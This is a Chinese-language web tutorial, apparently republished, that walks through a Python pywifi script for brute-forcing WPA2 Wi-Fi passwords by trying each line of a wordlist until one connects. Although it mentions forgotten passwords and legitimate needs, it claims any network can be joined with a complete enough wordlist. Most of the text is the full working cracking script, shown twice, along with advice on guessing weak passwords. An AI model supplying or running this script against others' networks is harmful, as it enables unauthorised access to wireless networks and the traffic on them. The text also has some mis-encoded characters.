有時候我們會忘記自己的Wi-Fi密碼,或者需要連接某個Wi-Fi網絡以滿足合法需求。本文將介紹如何使用Python編程語言編寫一個簡單的連接Wi-Fi的程序。
一、密碼本準備
在進行wifi猜測時,其實就是列出各種可能的密碼,用來嘗試去訪問目標wifi,直到找出正確的密碼為止,是密碼破解的一種方案。怎么有效去猜測wifi密碼呢,或者說日常中你使用的密碼為什么會被別人猜到,這就涉及到社會工程學,比如習慣使用“123456”、“8888888”等弱口令,使用手機號、生日、家庭住址相關聯(lián)作為密碼,那么就很容易被猜到,這里不過多介紹,理論上任何密碼都可以用這種方法來猜測連接,不過越復雜的密碼破解耗時也越長。
二、連接準備工作
- python環(huán)境安裝
訪問Python官網,點擊downloads按鈕,在下拉框中選擇系統(tǒng)類型,選擇下載最新版本的Python,沒有版本要求的話,盡量使用最新版本前幾個版本,避免新版本的不穩(wěn)定。雙擊下載好的Python安裝包,勾選左下角"Add Python 3.7 to PATH"選項,然后選擇"Install now"立刻安裝Python,默認安裝或自定義安裝。打開命令窗口,使用“python --version”查驗環(huán)境是否安裝成功。
- 下載安裝pywifi庫
pip install pywifi
以下對整個連接程序主要部分進行講解,最后提供完整的連接程序,可以使用自己的wifi網絡進行連接嘗試,密碼本先填寫幾個錯誤密碼,最后再寫入正確密碼,試驗是否成功連接wifi,只要密碼本夠全,理論上可以連接所有wifi。注意一行表示一個可能性密碼。
創(chuàng)建一個無線對象,獲取無線網卡
#抓取網卡接口
wifi=pywifi.PyWiFi()
#獲取第一個無線網卡
ifaces=wifi.interfaces()[0]
創(chuàng)建WiFi連接文件
創(chuàng)建WiFi連接文件,選擇要連接WiFi的名稱,然后檢查WiFi的開發(fā)狀態(tài),查看wifi的加密算法,一般wifi加密算法為WPA2 PSK,檢查加密單元。
#創(chuàng)建WiFi連接文件
profile=pywifi.Profile()
#要連接WiFi的名稱
profile.ssid="WiFi名稱"
#網卡的開放狀態(tài)
profile.auth=const.AUTH_ALG_OPEN
#wifi加密算法,一般wifi加密算法為wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#加密單元
profile.cipher=const.CIPHER_TYPE_CCMP
嘗試連接wifi
密碼本采用只讀的方式,一行一行讀取,后續(xù)用于嘗試連接wifi。
#讀取密碼本
def readPassword():
print("開始破解:")
#密碼本路徑
path="wifi_pass.txt"
#打開文件
file=open(path,"r")
while True:
try:
#一行一行讀取
pad=file.readline()
#嘗試連接wifi
bool = wifiConnect(pad)
if not pad:
break
if bool:
print("密碼已破解: ",pad)
print("WiFi已自動連接?。?!")
break
else:
#跳出當前循環(huán),進行下一次循環(huán)
print("密碼破解中....密碼校對: ",pad)
except:
continue
完整程序代碼
# coding:utf-8
import pywifi
from pywifi import const
import time
#測試連接,返回鏈接結果
def wifiConnect(pwd):
#抓取網卡接口
wifi=pywifi.PyWiFi()
#獲取第一個無線網卡
ifaces=wifi.interfaces()[0]
#斷開所有連接
ifaces.disconnect()
time.sleep(1)
wifistatus=ifaces.status()
if wifistatus ==const.IFACE_DISCONNECTED:
#創(chuàng)建WiFi連接文件
profile=pywifi.Profile()
#要連接WiFi的名稱
profile.ssid="****_Wi-Fi5"
#網卡的開放狀態(tài)
profile.auth=const.AUTH_ALG_OPEN
#wifi加密算法,一般wifi加密算法為wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#加密單元
profile.cipher=const.CIPHER_TYPE_CCMP
#調用密碼
profile.key=pwd
#刪除所有連接過的wifi文件
ifaces.remove_all_network_profiles()
#設定新的連接文件
tep_profile=ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
#wifi連接時間
time.sleep(3)
if ifaces.status()==const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已有wifi連接")
#讀取密碼本
def readPassword():
print("開始破解:")
#密碼本路徑
path="wifi_pass.txt"
#打開文件
file=open(path,"r")
while True:
try:
#一行一行讀取
pad=file.readline()
#嘗試連接wifi
bool = wifiConnect(pad)
if not pad:
break
if bool:
print("密碼已破解: ",pad)
print("WiFi已自動連接?。?!")
break
else:
#跳出當前循環(huán),進行下一次循環(huán)
print("密碼破解中....密碼校對: ",pad)
except:
continue
readPassword()
運行結果文章來源:http://www.zghlxwxcb.cn/news/detail-798547.html
文章來源地址http://www.zghlxwxcb.cn/news/detail-798547.html
到了這里,關于Python密碼本連接wifi的文章就介紹完了。如果您還想了解更多內容,請在右上角搜索TOY模板網以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網!